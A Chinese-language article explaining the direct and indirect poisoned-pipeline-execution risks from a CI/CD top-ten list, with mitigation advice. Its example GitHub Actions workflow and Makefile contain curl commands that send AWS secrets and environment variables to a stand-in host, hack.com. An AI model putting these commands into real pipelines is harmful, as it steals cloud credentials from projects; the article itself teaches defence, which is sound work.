【三 十大 CI/CD 安全风险】在这种情况下,D-PPE 攻击将按如下方式进行:
- 攻击者在存储库中创建了一个新的远程分支 , 在其中使用恶意命令更新流水线配置文件,这些命令旨在访问 GitHub 组织范围内的 AWS 凭证,然后将其发送到远程服务器 。
name: PIPELINEon: pushjobs: build:runs-on: ubuntu-lateststeps:- env:ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}run: |curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
- 推送更新后,将触发从存储库中获取代码的流水线 , 包括恶意流水线配置文件 。
- 流水线基于被攻击者“毒化”的配置文件运行 。根据攻击者的恶意命令,存储为存储库机密的 AWS 凭证被加载到内存中 。
- 流水线继续执行攻击者的命令,将 AWS 凭证发送到攻击者控制的服务器 。
- 攻击者随后能够使用窃取的凭证访问 AWS 生产环境 。
然而这并不代表流水线没有风险 。在流水线的构建阶段,AWS 凭证作为环境变量加载,使其仅可用于在此阶段运行的命令 。在下面的示例中,基于 Makefile 的内容(也存储在存储库中)的make命令作为此阶段的一部分运行 。
The Jenkinsfile:
pipeline {agent anystages {stage('build') {steps {withAWS(credentials: 'AWS_key', region: 'us-east-1') {sh 'make build'sh 'make clean'}}}stage('test') {steps {sh 'go test -v ./...'...
The Makefile: build:echo "building…"clean:echo "cleaning…"
![三 十大 CI/CD 安全风险](http://img.zhejianglong.com/231018/0911594R7-1.png)
文章插图
在这种情况下,I-PPE 攻击将按如下方式进行:
- 攻击者在存储库中创建拉取请求,将恶意命令附加到 Makefile 文件中 。
build:curl -d "$$(env)" hack.comclean:echo "cleaning…"
- 由于流水线配置为在针对 repo 的任何 PR 时触发,Jenkins 流水线被触发,从存储库中获取代码 , 包括恶意Makefile 。
- 流水线基于存储在主分支中的配置文件运行 。进入构建阶段,如原始 Jenkinsfile 中定义,将 AWS 凭证加载到环境变量中 。然后,运行make build命令,该命令执行添加到Makefile中的恶意命令 。
- 执行 Makefile 中定义的恶意构建函数,将 AWS 凭证发送到攻击者控制的服务器 。
- 攻击者随后能够使用窃取的凭证访问 AWS 生产环境 。
- 访问 CI 任务可用的任何机密,比如作为环境变量注入的机密或存储在 CI 中的其他敏感信息 。CI/CD 系统负责构建代码和部署工件 , 通常包含多个如云提供商、工件注册表和 SCM 本身的重要凭证和令牌 。
- 访问任务节点有权访问的外部资产,例如存储在节点文件系统中的文件,或可通过底层主机访问的云环境的凭据 。
- 能够以构建过程构建的合法代码为障眼法 , 将代码和工件进一步传送到流水线中 。
- 能够访问作业节点的网络/环境中的其他主机和资产 。
- 确保运行未经审查的代码的流水线在隔离节点上执行,不会暴露在机密和敏感环境中 。
- 评估外部贡献者在公共存储库上触发流水线的需求 。在可能的情况下,避免运行源自分叉的流水线 , 并考虑添加控制措施,例如要求手动批准流水线执行 。
- 对于包含敏感信息的流水线,确保配置为触发 CI 系统中的流水线的每个分支,在 SCM 中都有相关的分支保护规则 。
- 为了防止操纵 CI 配置文件在流水线中运行恶意代码 , 必须在流水线运行之前审查每个 CI 配置文件 。或者CI 配置文件可以在远程分支中管理,与包含在流水线中构建的代码的分支分开 。远程分支应配置为受保护 。
- 从不需要的用户中删除对 SCM 存储库授予的权限 。
- 每个流水线应该只能访问实现其目的所需的凭据 。凭据应具有所需的最低权限 。
推荐阅读
- <三>从编译器角度理解C++代码编译和链接原理
- 三星S21和三星S21Ultra哪个好?三星S21和三星S21Ultra对比
- GitHub 供应链安全已支持 Dart 开发者生态
- dns如何强制解除安全模式(dns被强制改了怎么办)
- 三国杀玩法及卡牌介绍(三国杀108张牌明细)
- 六人国战怎么玩三国杀(三国杀国战版本怎么玩)
- 玩魔方的秘诀(十大诡异魔方)
- 不准备再来三亚的可以省略 三亚免税店什么最值得买? 优惠部分— 提前办好会员卡见图三
- 2000-3000左右性价比最高的手机2022-两三千手机推荐
- 小米11pro、三星s21+、苹果12和三星note20ultra哪个好-购机建议